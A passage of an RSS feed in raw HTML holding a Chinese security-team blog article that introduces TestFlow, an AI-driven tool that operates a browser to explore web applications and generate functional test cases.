| 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=08c344b2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247522039%26idx%3D1%26sn%3Dc350284908280300312997428c9ca991">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Apr 2026 17:01:00 +0800</pubDate>
    </item>
    <item>
      <title>基于AI的自动化测试工具的探索</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521979&amp;idx=1&amp;sn=d5eef7917f68e56b9f9f6eb9da12e73e</link>
      <description>一款能让 AI 真正动手操作浏览器，像一个资深测试工程师一样，自主探索系统、发现问题、生成用例的</description>
      <content:encoded><![CDATA[<p>原创 <span>浮生若梦</span> <span>2026-04-14 17:01</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f5fda494&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdWTzac6M9euCI2BIkFxiaIuSelFPvPPaCRhmT3Mldia8iay2BVicC5ibCk9niaGmwzL6jO6KLMwNHDnNrt0ofVkA5yEZo9ic4weoDBBkw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>一款能让 AI 真正动手操作浏览器，像一个资深测试工程师一样，自主探索系统、发现问题、生成用例的</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, Microsoft YaHei, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">一、为什么做这个工具？</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">软件测试是开发流程中不可或缺的一环，但现实中它往往是最痛苦的环节：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">手工测试</span></strong><span leaf="">：重复枯燥，依赖测试人员经验，容易遗漏边界场景</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">传统自动化</span></strong><span leaf="">（Selenium/Playwright）：需要编写大量测试脚本，页面一改脚本就废，维护成本极高</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI 辅助测试</span></strong><span leaf="">：市面上的方案大多停留在&#34;AI 生成测试用例文本&#34;，仍需人工执行</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有没有一种方案，能让 AI </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">真正动手操作浏览器</span></strong><span leaf="">，像一个资深测试工程师一样，自主探索系统、发现问题、生成用例？</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为此我们尝试做了</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mpa-template&#34;:&#34;t&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;,&#34;style&#34;:&#34;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mid&#34;:&#34;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;,&#34;style&#34;:&#34;padding-right: 10px;padding-left: 10px;width: 578px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mid&#34;:&#34;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;,&#34;style&#34;:&#34;width: 558px;display: flex;flex-direction: column;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, Microsoft YaHei, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">TestFlow——一款</span><span leaf="">自动化功能测试工具。更重要的是，这种方法并不局限于传统的软件功能测试，还可以自然扩展到更多安全与质量场景，比如渗透测试、配置核查、安全分析等，<span textstyle="" style="font-weight: bold;">让 AI 直接参与系统交互，从“写用例”进化为“做测试”。</span></span></p><p nodeleaf=""></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">二、TestFlow 是什么？</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 是一款 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI 驱动的全自动软件功能测试桌面工具</span></strong><span leaf="">。它的核心理念是：</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(130, 127, 196);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(112, 103, 166, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">让大模型充当测试工程师，自主完成&#34;看页面 → 做判断 → 执行操作 → 记录结果&#34;的完整闭环。</span></strong></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">你只需要提供：</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">被测系统的 URL</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">登录账号密码（如需要）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">选择一个 AI 模型</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">点击&#34;开始测试&#34;，TestFlow 就会自动启动浏览器，像真人一样逐页面、逐功能地进行测试，并实时生成标准化测试用例。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">核心特性一览</span></span></h2><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">零脚本</span></strong><span leaf="">：不需要写一行测试代码</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI 自主决策</span></strong><span leaf="">：大模型自主规划测试路径、设计测试用例</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">多模态感知</span></strong><span leaf="">：截图 + DOM 双通道理解页面</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 